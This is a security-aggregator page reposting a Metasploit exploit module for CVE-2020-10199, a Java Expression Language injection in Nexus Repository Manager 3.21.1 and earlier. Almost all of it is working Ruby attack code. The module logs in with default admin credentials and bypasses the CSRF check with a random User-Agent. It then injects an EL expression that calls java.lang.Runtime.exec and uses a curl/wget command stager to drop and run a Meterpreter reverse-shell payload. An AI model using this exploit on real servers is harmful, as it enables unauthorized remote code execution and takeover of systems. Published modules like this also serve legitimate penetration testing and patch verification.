HackDig : Dig high-quality web security articles for hackers

Nexus Repository Manager 3.21.1-01 Remote Code Execution

2020-04-18 16:00
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::CmdStager  def initialize(info = {})    super(update_info(info,      'Name'            => 'Nexus Repository Manager Java EL Injection RCE',      'Description'     => %q{        This module exploits a Java Expression Language (EL) injection in Nexus        Repository Manager versions up to and including 3.21.1 to execute code        as the Nexus user. Tested against 3.21.1-01.      },      'Author'          => [        'Alvaro Muñoz', # Discovery        'wvu'           # Module      ],      'References'      => [        ['CVE', '2020-10199'],        ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],        ['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']      ],      'DisclosureDate'  => '2020-03-31', # Vendor advisory      'License'         => MSF_LICENSE,      'Platform'        => 'linux',      'Arch'            => [ARCH_X86, ARCH_X64],      'Privileged'      => false,      'Targets'         => [['Nexus Repository Manager <= 3.21.1', {}]],      'DefaultTarget'   => 0,      'DefaultOptions'  => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'},      'CmdStagerFlavor' => %i[curl wget],      'Notes'           => {        'Stability'     => [CRASH_SAFE],        'Reliability'   => [REPEATABLE_SESSION],        'SideEffects'   => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]      }    ))    register_options([      Opt::RPORT(8081),      OptString.new('TARGETURI', [true, 'Base path', '/']),      OptString.new('USERNAME',  [true, 'Nexus username', 'admin']),      OptString.new('PASSWORD',  [true, 'Nexus password', 'admin'])    ])  end  def post_auth?    # Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967    true  end  # Send a GET / request to the server, check the response for a Server header  # containing the Nexus version, and then check if it's a vulnerable version  def check    res = send_request_cgi(      'method' => 'GET',      'uri'    => normalize_uri(target_uri.path)    )    unless res      return CheckCode::Unknown('Target did not respond to check request.')    end    unless res.headers['Server']      return CheckCode::Unknown('Target did not respond with Server header.')    end    # Example Server header:    # Server: Nexus/3.21.1-01 (OSS)    version = res.headers['Server'].scan(%r{^Nexus/([d.-]+)}).flatten.first    unless version      return CheckCode::Unknown('Target did not respond with Nexus version.')    end    if Gem::Version.new(version) <= Gem::Version.new('3.21.1')      return CheckCode::Appears("Nexus #{version} is a vulnerable version.")    end    CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")  end  def exploit    # NOTE: Automatic check is implemented by the AutoCheck mixin    super    print_status("Executing command stager for #{datastore['PAYLOAD']}")    # This will drop a binary payload to disk and execute it!    execute_cmdstager(      noconcat: true,      cookie:   login(datastore['USERNAME'], datastore['PASSWORD'])    )  end  def login(username, password)    print_status("Logging in with #{username}:#{password}")    res = send_request_cgi({      'method'     => 'POST',      'uri'        => normalize_uri(target_uri.path,                                    '/service/rapture/session'),      'vars_post'  => {        'username' => Rex::Text.encode_base64(username),        'password' => Rex::Text.encode_base64(password)      },      'partial'    => true # XXX: Return partial response despite timeout    }, 3.5)    unless res      fail_with(Failure::Unknown, 'Target did not respond to login request')    end    cookie = res.get_cookies    unless res.code == 204 && cookie.match(/NXSESSIONID=[h-]+/)      fail_with(Failure::NoAccess, 'Could not log in with specified creds')    end    print_good("Logged in with #{cookie}")    cookie  end  # This is defined so that CmdStager can use it!  def execute_command(cmd, opts = {})    vprint_status("Executing command: #{cmd}")    res = send_request_cgi(      'method' => 'POST',      'uri'    => normalize_uri(target_uri.path,                                '/service/rest/beta/repositories/go/group'),      # HACK: Bypass CSRF token with random User-Agent header      'agent'  => rand_text_english(8..42),      'cookie' => opts[:cookie],      'ctype'  => 'application/json',      'data'   => json_payload(cmd)    )    unless res      fail_with(Failure::Unknown, 'Target did not respond to payload request')    end    unless res.code == 400 && res.body.match(/java.lang.UNIXProcess@h+/)      fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")    end    print_good("Successfully executed command: #{cmd}")  end  # PoC based off API docs for /service/rest/beta/repositories/go/group:  # http://localhost:8081/#admin/system/api  def json_payload(cmd)    {      'name'                          => 'internal',      'online'                        => true,      'storage'                       => {        'blobStoreName'               => 'default',        'strictContentTypeValidation' => true      },      'group'                         => {        # XXX: memberNames has to be an array, but the API example was a string        'memberNames'                 => [el_payload(cmd)]      }    }.to_json  end  # Helpful resource from which I borrowed the EL payload:  # https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf  def el_payload(cmd)    # HACK: Format our EL expression nicely and then strip introduced whitespace    el = <<~EOF.gsub(/s+/, '')      ${        "".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(          "".getClass().forName("java.lang.Runtime")        ).exec("PATCH_ME")      }    EOF    # Patch in our command, escaping any double quotes    el.sub('PATCH_ME', cmd.gsub('"', '\"'))  endend


Source: 8900400202-BLW/eussi/moc.ytirucesxc

Read:582 | Comments:0 | Tags:No Tag

“Nexus Repository Manager 3.21.1-01 Remote Code Execution”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Tools

Tag Cloud